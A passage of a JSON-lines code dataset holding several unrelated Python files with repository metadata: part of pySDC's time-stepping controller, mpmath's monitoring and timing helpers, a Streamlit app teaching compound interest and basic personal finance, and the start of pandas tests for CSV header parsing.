-1):\n                        S.transfer(source=S.levels[l], target=S.levels[l - 1])\n\n                # end this with a fine sweep\n                for S in local_MS_running:\n                    S.levels[0].sweep.update_nodes()\n\n            elif self.params.predict_type == 'fmg':\n                # TODO: implement FMG predictor\n                raise NotImplementedError('FMG predictor is not yet implemented')\n\n            else:\n                raise ControllerError('Wrong predictor type, got %s' % self.params.predict_type)\n\n            for S in local_MS_running:\n                self.hooks.post_predict(step=S, level_number=0)\n\n            for S in local_MS_running:\n                # update stage\n                S.status.stage = 'IT_CHECK'\n\n        def it_check(local_MS_running):\n            \"\"\"\n            Key routine to check for convergence/termination\n\n            Args:\n                local_MS_running (list): list of currently running steps\n            \"\"\"\n\n            for S in local_MS_running:\n\n                # send updated values forward\n                self.hooks.pre_comm(step=S, level_number=0)\n                if not S.status.last:\n                    self.logger.debug('Process %2i provides data on level %2i with tag %s'\n                                      % (S.status.slot, 0, S.status.iter))\n                    self.send(S.levels[0], tag=(0, S.status.iter, S.status.slot))\n\n                # receive values\n                if not S.status.prev_done and not S.status.first:\n                    self.logger.debug('Process %2i receives from %2i on level %2i with tag %s' %\n                                      (S.status.slot, S.prev.status.slot, 0, S.status.iter))\n                    self.recv(S.levels[0], S.prev.levels[0], tag=(0, S.status.iter, S.prev.status.slot))\n                self.hooks.post_comm(step=S, level_number=0)\n\n                S.levels[0].sweep.compute_residual()\n\n            if self.params.use_iteration_estimator:\n                self.check_iteration_estimator(local_MS_running)\n\n            for S in local_MS_running:\n\n                S.status.done = self.check_convergence(S)\n\n                if S.status.iter > 0:\n                    self.hooks.post_iteration(step=S, level_number=0)\n\n            for S in local_MS_running:\n                if not S.status.first:\n                    self.hooks.pre_comm(step=S, level_number=0)\n                    S.status.prev_done = S.prev.status.done  # \"communicate\"\n                    self.hooks.post_comm(step=S, level_number=0, add_to_stats=True)\n                    S.status.done = S.status.done and S.status.prev_done\n\n                if self.params.all_to_done:\n                    self.hooks.pre_comm(step=S, level_number=0)\n                    S.status.done = all([T.status.done for T in local_MS_running])\n                    self.hooks.post_comm(step=S, level_number=0, add_to_stats=True)\n\n                if not S.status.done:\n                    # increment iteration count here (and only here)\n                    S.status.iter += 1\n                    self.hooks.pre_iteration(step=S, level_number=0)\n\n                    if self.params.use_iteration_estimator:\n                        # store pervious iterate to compute difference later on\n                        S.levels[0].uold[:] = S.levels[0].u[:]\n\n                    if len(S.levels) > 1:  # MLSDC or PFASST\n                        S.status.stage = 'IT_DOWN'\n                    else:  # SDC or MSSDC\n                        if len(local_MS_running) == 1 or self.params.mssdc_jac:  # SDC or parallel MSSDC (Jacobi-like)\n                            S.status.stage = 'IT_FINE'\n                        else:\n                            S.status.stage = 'IT_COARSE'  # serial MSSDC (Gauss-like)\n                else:\n                    S.levels[0].sweep.compute_end_point()\n                    self.hooks.post_step(step=S, level_number=0)\n                    S.status.stage = 'DONE'\n\n        def it_fine(local_MS_running):\n            \"\"\"\n            Fine sweeps\n\n            Args:\n                local_MS_running (list): list of currently running steps\n            \"\"\"\n\n            for S in local_MS_running:\n                S.levels[0].status.sweep = 0\n\n            for k in range(self.nsweeps[0]):\n\n                for S in local_MS_running:\n                    S.levels[0].status.sweep += 1\n\n                for S in local_MS_running:\n                    # send updated values forward\n                    self.hooks.pre_comm(step=S, level_number=0)\n                    if not S.status.last:\n                        self.logger.debug('Process %2i provides data on level %2i with tag %s'\n                                          % (S.status.slot, 0, S.status.iter))\n                        self.send(S.levels[0], tag=(0, S.status.iter, S.status.slot))\n\n                    # # receive values\n                    if not S.status.prev_done and not S.status.first:\n                        self.logger.debug('Process %2i receives from %2i on level %2i with tag %s' %\n                                          (S.status.slot, S.prev.status.slot, 0, S.status.iter))\n                        self.recv(S.levels[0], S.prev.levels[0], tag=(0, S.status.iter, S.prev.status.slot))\n                    self.hooks.post_comm(step=S, level_number=0, add_to_stats=(k == self.nsweeps[0] - 1))\n\n                for S in local_MS_running:\n                    # standard sweep workflow: update nodes, compute residual, log progress\n                    self.hooks.pre_sweep(step=S, level_number=0)\n                    S.levels[0].sweep.update_nodes()\n                    S.levels[0].sweep.compute_residual()\n                    self.hooks.post_sweep(step=S, level_number=0)\n\n            for S in local_MS_running:\n                # update stage\n                S.status.stage = 'IT_CHECK'\n\n        def it_down(local_MS_running):\n            \"\"\"\n            Go down the hierarchy from finest to coarsest level\n\n            Args:\n                local_MS_running (list): list of currently running steps\n            \"\"\"\n\n            for S in local_MS_running:\n                S.transfer(source=S.levels[0], target=S.levels[1])\n\n            for l in range(1, self.nlevels - 1):\n\n                # sweep on middle levels (not on finest, not on coarsest, though)\n\n                for _ in range(self.nsweeps[l]):\n\n                    for S in local_MS_running:\n\n                        # send updated values forward\n                        self.hooks.pre_comm(step=S, level_number=l)\n                        if not S.status.last:\n                            self.logger.debug('Process %2i provides data on level %2i with tag %s'\n                                              % (S.status.slot, l, S.status.iter))\n                            self.send(S.levels[l], tag=(l, S.status.iter, S.status.slot))\n\n                        # # receive values\n                        if not S.status.prev_done and not S.status.first:\n                            self.logger.debug('Process %2i receives from %2i on level %2i with tag %s' %\n                                              (S.status.slot, S.prev.status.slot, l, S.status.iter))\n                            self.recv(S.levels[l], S.prev.levels[l], tag=(l, S.status.iter, S.prev.status.slot))\n                        self.hooks.post_comm(step=S, level_number=l)\n\n                    for S in local_MS_running:\n                        self.hooks.pre_sweep(step=S, level_number=l)\n                        S.levels[l].sweep.update_nodes()\n                        S.levels[l].sweep.compute_residual()\n                        self.hooks.post_sweep(step=S, level_number=l)\n\n                for S in local_MS_running:\n                    # transfer further down the hierarchy\n                    S.transfer(source=S.levels[l], target=S.levels[l + 1])\n\n            for S in local_MS_running:\n                # update stage\n                S.status.stage = 'IT_COARSE'\n\n        def it_coarse(local_MS_running):\n            \"\"\"\n            Coarse sweep\n\n            Args:\n                local_MS_running (list): list of currently running steps\n            \"\"\"\n\n            for S in local_MS_running:\n\n                # receive from previous step (if not first)\n                self.hooks.pre_comm(step=S, level_number=len(S.levels) - 1)\n                if not S.status.first and not S.status.prev_done:\n                    self.logger.debug('Process %2i receives from %2i on level %2i with tag %s' %\n                                      (S.status.slot, S.prev.status.slot, len(S.levels) - 1, S.status.iter))\n                    self.recv(S.levels[-1], S.prev.levels[-1], tag=(len(S.levels), S.status.iter, S.prev.status.slot))\n                self.hooks.post_comm(step=S, level_number=len(S.levels) - 1)\n\n                # do the sweep\n                self.hooks.pre_sweep(step=S, level_number=len(S.levels) - 1)\n                S.levels[-1].sweep.update_nodes()\n                S.levels[-1].sweep.compute_residual()\n                self.hooks.post_sweep(step=S, level_number=len(S.levels) - 1)\n\n                # send to succ step\n                self.hooks.pre_comm(step=S, level_number=len(S.levels) - 1)\n                if not S.status.last:\n                    self.logger.debug('Process %2i provides data on level %2i with tag %s'\n                                      % (S.status.slot, len(S.levels) - 1, S.status.iter))\n                    self.send(S.levels[-1], tag=(len(S.levels), S.status.iter, S.status.slot))\n                self.hooks.post_comm(step=S, level_number=len(S.levels) - 1, add_to_stats=True)\n\n                # update stage\n                if len(S.levels) > 1:  # MLSDC or PFASST\n                    S.status.stage = 'IT_UP'\n                else:  # MSSDC\n                    S.status.stage = 'IT_CHECK'\n\n        def it_up(local_MS_running):\n            \"\"\"\n            Prolong corrections up to finest level (parallel)\n\n            Args:\n                local_MS_running (list): list of currently running steps\n            \"\"\"\n\n            for l in range(self.nlevels - 1, 0, -1):\n\n                for S in local_MS_running:\n                    # prolong values\n                    S.transfer(source=S.levels[l], target=S.levels[l - 1])\n\n                # on middle levels: do communication and sweep as usual\n                if l - 1 > 0:\n\n                    for k in range(self.nsweeps[l - 1]):\n\n                        for S in local_MS_running:\n\n                            # send updated values forward\n                            self.hooks.pre_comm(step=S, level_number=l - 1)\n                            if not S.status.last:\n                                self.logger.debug('Process %2i provides data on level %2i with tag %s'\n                                                  % (S.status.slot, l - 1, S.status.iter))\n                                self.send(S.levels[l - 1], tag=(l - 1, S.status.iter, S.status.slot))\n\n                            # # receive values\n                            if not S.status.prev_done and not S.status.first:\n                                self.logger.debug('Process %2i receives from %2i on level %2i with tag %s' %\n                                                  (S.status.slot, S.prev.status.slot, l - 1, S.status.iter))\n                                self.recv(S.levels[l - 1], S.prev.levels[l - 1], tag=(l - 1, S.status.iter,\n                                                                                      S.prev.status.slot))\n                            self.hooks.post_comm(step=S, level_number=l - 1,\n                                                 add_to_stats=(k == self.nsweeps[l - 1] - 1))\n\n                        for S in local_MS_running:\n                            self.hooks.pre_sweep(step=S, level_number=l - 1)\n                            S.levels[l - 1].sweep.update_nodes()\n                            S.levels[l - 1].sweep.compute_residual()\n                            self.hooks.post_sweep(step=S, level_number=l - 1)\n\n            for S in local_MS_running:\n                # update stage\n                S.status.stage = 'IT_FINE'\n\n        def default(local_MS_running):\n            \"\"\"\n            Default routine to catch wrong status\n\n            Args:\n                local_MS_running (list): list of currently running steps\n            \"\"\"\n            raise ControllerError('Unknown stage, got %s' % local_MS_running[0].status.stage)  # TODO\n\n        # if all stages are the same (or DONE), continue, otherwise abort\n        stages = [S.status.stage for S in local_MS_active if S.status.stage != 'DONE']\n        if stages[1:] == stages[:-1]:\n            stage = stages[0]\n        else:\n            raise ControllerError('not all stages are equal')\n\n        self.logger.debug(stage)\n\n        MS_running = [S for S in local_MS_active if S.status.stage != 'DONE']\n\n        switcher = {\n            'SPREAD': spread,\n            'PREDICT': predict,\n            'IT_CHECK': it_check,\n            'IT_FINE': it_fine,\n            'IT_DOWN': it_down,\n            'IT_COARSE': it_coarse,\n            'IT_UP': it_up\n        }\n\n        switcher.get(stage, default)(MS_running)\n\n        return all([S.status.done for S in local_MS_active])\n", "meta": {"hexsha": "ac721b8d8ea0472fc77f1292e5973070ab8f5326", "size": 29330, "ext": "py", "lang": "Python", "max_stars_repo_path": "pySDC/implementations/controller_classes/controller_nonMPI.py", "max_stars_repo_name": "tlunet/pySDC", "max_stars_repo_head_hexsha": "6ab2390d017aad7e503df5c978bc3d217ac8b375", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": 20, "max_stars_repo_stars_event_min_datetime": "2015-03-21T09:02:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-26T20:22:21.000Z", "max_issues_repo_path": "pySDC/implementations/controller_classes/controller_nonMPI.py", "max_issues_repo_name": "Parallel-in-Time/pySDC", "max_issues_repo_head_hexsha": "febd7648c92fc8637f1d89206f26bacf9f765ffd", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": 61, "max_issues_repo_issues_event_min_datetime": "2015-03-02T09:35:55.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-17T12:42:48.000Z", "max_forks_repo_path": "pySDC/implementations/controller_classes/controller_nonMPI.py", "max_forks_repo_name": "MichaelFlec/pySDC", "max_forks_repo_head_hexsha": "209e0015a46f861e3658691b7f8724cb1b36c97e", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": 19, "max_forks_repo_forks_event_min_datetime": "2015-02-20T11:52:33.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-02T10:46:27.000Z", "avg_line_length": 41.8402282454, "max_line_length": 118, "alphanum_fraction": 0.5257415615, "include": true, "reason": "import numpy", "num_tokens": 6346, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4378234991142019, "lm_q2_score": 0.12252320610998799, "lm_q1q2_score": 0.0536435388217655}}
{"text": "\r\ndef monitor(f, input='print', output='print'):\r\n    \"\"\"\r\n    Returns a wrapped copy of *f* that monitors evaluation by calling\r\n    *input* with every input (*args*, *kwargs*) passed to *f* and\r\n    *output* with every value returned from *f*. The default action\r\n    (specify using the special string value ``'print'``) is to print\r\n    inputs and outputs to stdout, along with the total evaluation\r\n    count::\r\n\r\n        >>> from mpmath import *\r\n        >>> mp.dps = 5; mp.pretty = False\r\n        >>> diff(monitor(exp), 1)   # diff will eval f(x-h) and f(x+h)\r\n        in  0 (mpf('0.99999999906867742538452148'),) {}\r\n        out 0 mpf('2.7182818259274480055282064')\r\n        in  1 (mpf('1.0000000009313225746154785'),) {}\r\n        out 1 mpf('2.7182818309906424675501024')\r\n        mpf('2.7182808')\r\n\r\n    To disable either the input or the output handler, you may\r\n    pass *None* as argument.\r\n\r\n    Custom input and output handlers may be used e.g. to store\r\n    results for later analysis::\r\n\r\n        >>> mp.dps = 15\r\n        >>> input = []\r\n        >>> output = []\r\n        >>> findroot(monitor(sin, input.append, output.append), 3.0)\r\n        mpf('3.1415926535897932')\r\n        >>> len(input)  # Count number of evaluations\r\n        9\r\n        >>> print input[3], output[3]\r\n        ((mpf('3.1415076583334066'),), {}) 8.49952562843408e-5\r\n        >>> print input[4], output[4]\r\n        ((mpf('3.1415928201669122'),), {}) -1.66577118985331e-7\r\n\r\n    \"\"\"\r\n    if not input:\r\n        input = lambda v: None\r\n    elif input == 'print':\r\n        incount = [0]\r\n        def input(value):\r\n            args, kwargs = value\r\n            print \"in  %s %r %r\" % (incount[0], args, kwargs)\r\n            incount[0] += 1\r\n    if not output:\r\n        output = lambda v: None\r\n    elif output == 'print':\r\n        outcount = [0]\r\n        def output(value):\r\n            print \"out %s %r\" % (outcount[0], value)\r\n            outcount[0] += 1\r\n    def f_monitored(*args, **kwargs):\r\n        input((args, kwargs))\r\n        v = f(*args, **kwargs)\r\n        output(v)\r\n        return v\r\n    return f_monitored\r\n\r\ndef timing(f, *args, **kwargs):\r\n    \"\"\"\r\n    Returns time elapsed for evaluating ``f()``. Optionally arguments\r\n    may be passed to time the execution of ``f(*args, **kwargs)``.\r\n\r\n    If the first call is very quick, ``f`` is called\r\n    repeatedly and the best time is returned.\r\n    \"\"\"\r\n    once = kwargs.get('once')\r\n    if 'once' in kwargs:\r\n        del kwargs['once']\r\n    if args or kwargs:\r\n        if len(args) == 1 and not kwargs:\r\n            arg = args[0]\r\n            g = lambda: f(arg)\r\n        else:\r\n            g = lambda: f(*args, **kwargs)\r\n    else:\r\n        g = f\r\n    from timeit import default_timer as clock\r\n    t1=clock(); v=g(); t2=clock(); t=t2-t1\r\n    if t > 0.05 or once:\r\n        return t\r\n    for i in range(3):\r\n        t1=clock();\r\n        # Evaluate multiple times because the timer function\r\n        # has a significant overhead\r\n        g();g();g();g();g();g();g();g();g();g()\r\n        t2=clock()\r\n        t=min(t,(t2-t1)/10)\r\n    return t\r\n", "meta": {"hexsha": "71917f6865b3233766741ce9021b9db7a8e51796", "size": 3086, "ext": "py", "lang": "Python", "max_stars_repo_path": "compiler/gdsMill/mpmath/usertools.py", "max_stars_repo_name": "kabylkas/OpenRAM", "max_stars_repo_head_hexsha": "1a4456a6872c52ea9e945e2c58a43df7c78ed742", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "compiler/gdsMill/mpmath/usertools.py", "max_issues_repo_name": "kabylkas/OpenRAM", "max_issues_repo_head_hexsha": "1a4456a6872c52ea9e945e2c58a43df7c78ed742", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "compiler/gdsMill/mpmath/usertools.py", "max_forks_repo_name": "kabylkas/OpenRAM", "max_forks_repo_head_hexsha": "1a4456a6872c52ea9e945e2c58a43df7c78ed742", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-10-10T08:25:33.000Z", "max_forks_repo_forks_event_max_datetime": "2020-10-10T08:25:33.000Z", "avg_line_length": 33.5434782609, "max_line_length": 71, "alphanum_fraction": 0.5343486714, "include": true, "reason": "from mpmath", "num_tokens": 875, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4687906266262437, "lm_q2_score": 0.11436853674701282, "lm_q1q2_score": 0.05361489800795872}}
{"text": "import pathlib\n\nimport numpy_financial as npf\nimport pandas as pd\n\nimport streamlit as st\n\n\ndef main():\n    instructions_path = str(pathlib.Path(__file__).parent.resolve() / \"instructions.md\")\n    readme_text = st.markdown(get_file_content_as_string(instructions_path))\n\n    # Once we have the dependencies, add a selector for the app mode on the sidebar.\n    st.sidebar.title(\"What to do\")\n    app_mode = st.sidebar.selectbox(\n        \"Choose a chapter\",\n        [\"Home\", \"Compounding machine\", \"Finance starter kit\", \"Investing\"],\n    )\n    if app_mode == \"Home\":\n        st.sidebar.success(\"To continue select a chapter from the toolbar.\")\n    elif app_mode == \"Compounding machine\":\n        readme_text.empty()\n        compounding_machine()\n    elif app_mode == \"Finance starter kit\":\n        readme_text.empty()\n        finance_starter_kit()\n    elif app_mode == \"Investing\":\n        readme_text.empty()\n        investing()\n\n\ndef compounding_machine():\n\n    st.write('''\n    # Compounding: the eighth wonder of the world\n\n    What is compounding? Compounding is exponential increase in value due to earning interest on both the principal and the accumulated interest.\n\n    Let's break it down quickly with an example. Let's say that you lent me $1000 for three years, and I promised to pay you 10% for each year for this favor.\n\n    * The $1000 you loaned me is called the **principal**\n    * The 10% I pay you each year is the **interest** rate on the loan\n\n    With this arrangement, there are two ways that I might pay you back: simple interest and compound interest. In simple interest, I would simply pay you $100 (10% of $1000) at the end of each year, and return the $1000 at the end of the third year. Compound interest is more interesting. If we were to use compound interest, I would pay you 10% of the principal in the first year, then 10% of the principal *plus* the first year's interest, then 10% of the principal *plus* the first and second year's interest (and then I would also return the $1000). If you were calculating, that would be $100 in the first year (10% of $1000), $110 in the second year (10% of $1000+$100), and then $121 in the third year (10% of $1000+$100+$110).\n\n    As a result, you would end up with $1300 with simple interest and $1331 with compound interest. It might not seem like a big difference, but if you were to change it to a 20 year loan with the same initial principal of $1000 and 10% interest, you would end up with $3000 with simple interest and $6727.50 with compound interest. As the time horizon gets longer and longer, compounding's exponential growth becomes extremely obvious.\n\n    \"Compounding is the eighth wonder of the world.\" This quote is often apocryphally attributed to Albert Einstein, but the misattribution should not detract from its simplicity and profoundness.\n\n    ''')\n\n\n    st.write(\n    \"\"\"\n    ## Try it out\n\n    Since compounding is an exponential process, it's difficult to get a handle on it unless you try some simulations. I've designed a simple tool here that will let you play with the parameters of a compounding experiment:\n    * Starting principal: The amount of money you start with.\n    * Years: The number of years you want to run the compounding experiment for.\n    * Annual contribution: The amount you want to add to the compounding machine each year.\n    * Interest rate: The amount of interest you get paid each year.\n\n    Try extending the number of years we compound for. What happens when we contribute a small amount of money each year? And what happens to the final value when we change the interest rate around?\n\n    \"\"\"\n    )\n\n    with st.form(key=\"columns_in_form\"):\n        col1, col2 = st.beta_columns(2)\n        with col1:\n            principal_input = st.number_input(\n                \"Starting principal\", min_value=0, value=1000, key=\"principal\"\n            )\n            add_sum_input = st.number_input(\n                \"Annual contribution\", min_value=0, value=0, key=\"add_sum\"\n            )\n        with col2:\n            years_input = st.number_input(\n                \"Years\", min_value=0, max_value=100, value=10, key=\"years\"\n            )\n            interest_rate_input = st.number_input(\n                \"Interest rate (%)\", min_value=0, value=8, key=\"interest_rate\"\n            )\n        submitted = st.form_submit_button(\"Run\")\n\n    future_value = npf.fv(\n        rate=interest_rate_input / 100, nper=years_input, pmt=-add_sum_input, pv=-principal_input, when=\"begin\"\n    )\n\n    st.write(\"You'll have this left: $\", \"{:,}\".format(round(future_value, 2)))\n\n    @st.cache\n    def graph_compounding(years, principal, add_sum, interest_rate):\n        # graphing\n        year_list = []\n        value = []\n\n        for year in range(1, int(years)+1):\n            principal = (principal+add_sum)*(1+interest_rate/100)\n            year_list.append(year)\n            value.append(principal)\n\n        df_compounding = pd.DataFrame(zip(year_list, value), columns=['years', 'value'])\n        df_compounding.index = df_compounding['years'].values\n        del df_compounding['years']\n        return df_compounding.round(2)\n\n    df_compounding = graph_compounding(years_input, principal_input, add_sum_input, interest_rate_input)\n\n    st.write(\"### Growth over time\")\n\n    st.bar_chart(df_compounding)\n\n    st.write(\n        '''\n        It's not obvious how much compounding affects growth until we have an actual tangible demonstration like this. I understood it from a philosophical level before, but I never truly intuited and viscerally understood the power of compounding until I ran these calculations myself.\n\n        ## Chess and compounding\n\n        You might have heard this story before, but there is a famous legend about the origin of chess. Supposedly, when the inventor of the game showed it to the emperor of India, the emperor was so impressed by the new game that he promised any reward to the inventor.\n\n        The inventor replied, \"I only wish for this. Give me one grain of rice for the first square of the chessboard, two grains for the next square, four for the next, eight for the next, and so on for all 64 squares, with each square having double the number of grains as the square before.\"\n\n        The emperor agreed, amazed that the man had asked for such a small reward \u2014 or so he thought. After a week, his treasurer came back and informed him that the reward would add up to an astronomical sum, far greater than all the rice that could conceivably be produced in many centuries!\n\n        While this example of compounding is negative (for the king, at least), the very nature of compounding is neither good nor bad \u2014 it is simply a mathematical truth that exists. Compounding can either make or break you, but our job is to make compounding work for you in all facets of life. Harnessing compounding requires you to save or work a little bit harder today to reap a much greater reward tomorrow. Compounding is implementing delayed gratification and requires you to take a long-term view of life.\n\n        **In sum: use your youth and long time horizon \u2014 save (but not so much that you can't enjoy the present!) and plant the seeds for your own compounding machine.** We want to look back and thank our previous selves for doing this and setting up such a practice.\n\n        As they say, the best time to plant a tree was twenty years ago; the next best time is today.\n\n\n        '''\n    )\n\ndef finance_starter_kit():\n    st.write('''\n    # Finance starter kit\n\n    Your financial strength is a function of four simple variables:\n\n    1. **Income**: the money that you make\n    2. **Expenses**: the money that you spend\n    3. **Savings**: the pool of money you have saved\n    4. **Investments**: money available for your compounding machine\n\n    However, the first step is to understand exactly what is happening in each of these domains. Figure out how much income and expenses you have each month, and do a tally of the amount of money in your savings and investment accounts. The oft-repeated quote \u2014 What is measured is managed \u2014 is paramount here.\n\n    Once you figure out what is going in or out of each of these buckets, I'd encourage you to think about how you might slowly begin to improve each facet. Here are some heuristics and good rules of thumb:\n\n    ## Income\n\n    - mostly comes from your job, and also from alternative sources (freelancing)\n    - often neglected, but think about ways you can improve your income (negotiation of your salary, etc.)\n    - ensure that your monthly net income (income minus expenses) is positive\n\n    ## Expenses\n\n    - figure out what you enjoy, and feel comfortable spending in that category (to within reason)\n        - cut your expenses on everything else\n    - focus your time on saving expenses on big ticket items (e.g. car payments, mortgages, subscription services, student loans)\n    - other expenses: credit card debt, student loan debt, taxes\n    - figure out what your average monthly expense is\n\n    ## Savings\n\n    - rule of thumb: your savings account should contain 3-6 months worth of expenses (computed)\n        - do not put any money into investing until you have at least 3 months of savings\n\n    ## Investments\n\n    This is one of the most neglected parts of personal finance, yet it's arguably the most important (because this is where we get our compounding machine)!\n\n    Go to the next section to learn more!\n\n    ''')\n\ndef investing():\n\n    st.write('''\n    # Investing\n\n    **Beep boop bop \ud83e\udd16\ufe0f This page is currently under construction.**\n    ''')\n\ndef get_file_content_as_string(path):\n    with open(path, \"r\") as file:\n        data = file.read()\n    return data\n\n\nif __name__ == \"__main__\":\n    main()\n", "meta": {"hexsha": "dede16cf2d45fb8faeeba6338f69e696fd5970d8", "size": 9719, "ext": "py", "lang": "Python", "max_stars_repo_path": "streamlit_app.py", "max_stars_repo_name": "nicholasachow/long_term_thinking", "max_stars_repo_head_hexsha": "1cad66e7472d71c2acbae4c9986532c7e5a1b59a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "streamlit_app.py", "max_issues_repo_name": "nicholasachow/long_term_thinking", "max_issues_repo_head_hexsha": "1cad66e7472d71c2acbae4c9986532c7e5a1b59a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "streamlit_app.py", "max_forks_repo_name": "nicholasachow/long_term_thinking", "max_forks_repo_head_hexsha": "1cad66e7472d71c2acbae4c9986532c7e5a1b59a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 50.0979381443, "max_line_length": 735, "alphanum_fraction": 0.7066570635, "include": true, "reason": "import numpy", "num_tokens": 2196, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879062662624377, "lm_q2_score": 0.11436852618181247, "lm_q1q2_score": 0.05361489305509183}}
{"text": "\"\"\"\nTests that the file header is properly handled or inferred\nduring parsing for all of the parsers defined in parsers.py\n\"\"\"\n\nfrom collections import namedtuple\nfrom io import StringIO\n\nimport numpy as np\nimport pytest\n\nfrom pandas.errors import ParserError\n\nfrom pandas import (\n    DataFrame,\n    Index,\n    MultiIndex,\n)\nimport pandas._testing as tm\n\n# TODO(1.4): Change me to xfails at release time\nskip_pyarrow = pytest.mark.usefixtures(\"pyarrow_skip\")\n\n\n@skip_pyarrow\ndef test_read_with_bad_header(all_parsers):\n    parser = all_parsers\n    msg = r\"but only \\d+ lines in file\"\n\n    with pytest.raises(ValueError, match=msg):\n        s = StringIO(\",,\")\n        parser.read_csv(s, header=[10])\n\n\ndef test_negative_header(all_parsers):\n    # see gh-27779\n    parser = all_parsers\n    data = \"\"\"1,2,3,4,5\n6,7,8,9,10\n11,12,13,14,15\n\"\"\"\n    with pytest.raises(\n        ValueError,\n        match=\"Passing negative integer to header is invalid. \"\n        \"For no header, use header=None instead\",\n    ):\n        parser.read_csv(StringIO(data), header=-1)\n\n\n@pytest.mark.parametrize(\"header\", [([-1, 2, 4]), ([-5, 0])])\ndef test_negative_multi_index_header(all_parsers, header):\n    # see gh-27779\n    parser = all_parsers\n    data = \"\"\"1,2,3,4,5\n        6,7,8,9,10\n        11,12,13,14,15\n        \"\"\"\n    with pytest.raises(\n        ValueError, match=\"cannot specify multi-index header with negative integers\"\n    ):\n        parser.read_csv(StringIO(data), header=header)\n\n\n@pytest.mark.parametrize(\"header\", [True, False])\ndef test_bool_header_arg(all_parsers, header):\n    # see gh-6114\n    parser = all_parsers\n    data = \"\"\"\\\nMyColumn\na\nb\na\nb\"\"\"\n    msg = \"Passing a bool to header is invalid\"\n    with pytest.raises(TypeError, match=msg):\n        parser.read_csv(StringIO(data), header=header)\n\n\ndef test_no_header_prefix(all_parsers):\n    parser = all_parsers\n    data = \"\"\"1,2,3,4,5\n6,7,8,9,10\n11,12,13,14,15\n\"\"\"\n    result = parser.read_csv(StringIO(data), prefix=\"Field\", header=None)\n    expected = DataFrame(\n        [[1, 2, 3, 4, 5], [6, 7, 8, 9, 10], [11, 12, 13, 14, 15]],\n        columns=[\"Field0\", \"Field1\", \"Field2\", \"Field3\", \"Field4\"],\n    )\n    tm.assert_frame_equal(result, expected)\n\n\n@skip_pyarrow\ndef test_header_with_index_col(all_parsers):\n    parser = all_parsers\n    data = \"\"\"foo,1,2,3\nbar,4,5,6\nbaz,7,8,9\n\"\"\"\n    names = [\"A\", \"B\", \"C\"]\n    result = parser.read_csv(StringIO(data), names=names)\n\n    expected = DataFrame(\n        [[1, 2, 3], [4, 5, 6], [7, 8, 9]],\n        index=[\"foo\", \"bar\", \"baz\"],\n        columns=[\"A\", \"B\", \"C\"],\n    )\n    tm.assert_frame_equal(result, expected)\n\n\ndef test_header_not_first_line(all_parsers):\n    parser = all_parsers\n    data = \"\"\"got,to,ignore,this,line\ngot,to,ignore,this,line\nindex,A,B,C,D\nfoo,2,3,4,5\nbar,7,8,9,10\nbaz,12,13,14,15\n\"\"\"\n    data2 = \"\"\"index,A,B,C,D\nfoo,2,3,4,5\nbar,7,8,9,10\nbaz,12,13,14,15\n\"\"\"\n\n    result = parser.read_csv(StringIO(data), header=2, index_col=0)\n    expected = parser.read_csv(StringIO(data2), header=0, index_col=0)\n    tm.assert_frame_equal(result, expected)\n\n\n@skip_pyarrow\ndef test_header_multi_index(all_parsers):\n    parser = all_parsers\n    expected = tm.makeCustomDataframe(5, 3, r_idx_nlevels=2, c_idx_nlevels=4)\n\n    data = \"\"\"\\\nC0,,C_l0_g0,C_l0_g1,C_l0_g2\n\nC1,,C_l1_g0,C_l1_g1,C_l1_g2\nC2,,C_l2_g0,C_l2_g1,C_l2_g2\nC3,,C_l3_g0,C_l3_g1,C_l3_g2\nR0,R1,,,\nR_l0_g0,R_l1_g0,R0C0,R0C1,R0C2\nR_l0_g1,R_l1_g1,R1C0,R1C1,R1C2\nR_l0_g2,R_l1_g2,R2C0,R2C1,R2C2\nR_l0_g3,R_l1_g3,R3C0,R3C1,R3C2\nR_l0_g4,R_l1_g4,R4C0,R4C1,R4C2\n\"\"\"\n    result = parser.read_csv(StringIO(data), header=[0, 1, 2, 3], index_col=[0, 1])\n    tm.assert_frame_equal(result, expected)\n\n\n@pytest.mark.parametrize(\n    \"kwargs,msg\",\n    [\n        (\n            {\"index_col\": [\"foo\", \"bar\"]},\n            (\n                \"index_col must only contain \"\n                \"row numbers when specifying \"\n                \"a multi-index header\"\n            ),\n        ),\n        (\n            {\"index_col\": [0, 1], \"names\": [\"foo\", \"bar\"]},\n            (\"cannot specify names when specifying a multi-index header\"),\n        ),\n        (\n            {\"index_col\": [0, 1], \"usecols\": [\"foo\", \"bar\"]},\n            (\"cannot specify usecols when specifying a multi-index header\"),\n        ),\n    ],\n)\ndef test_header_multi_index_invalid(all_parsers, kwargs, msg):\n    data = 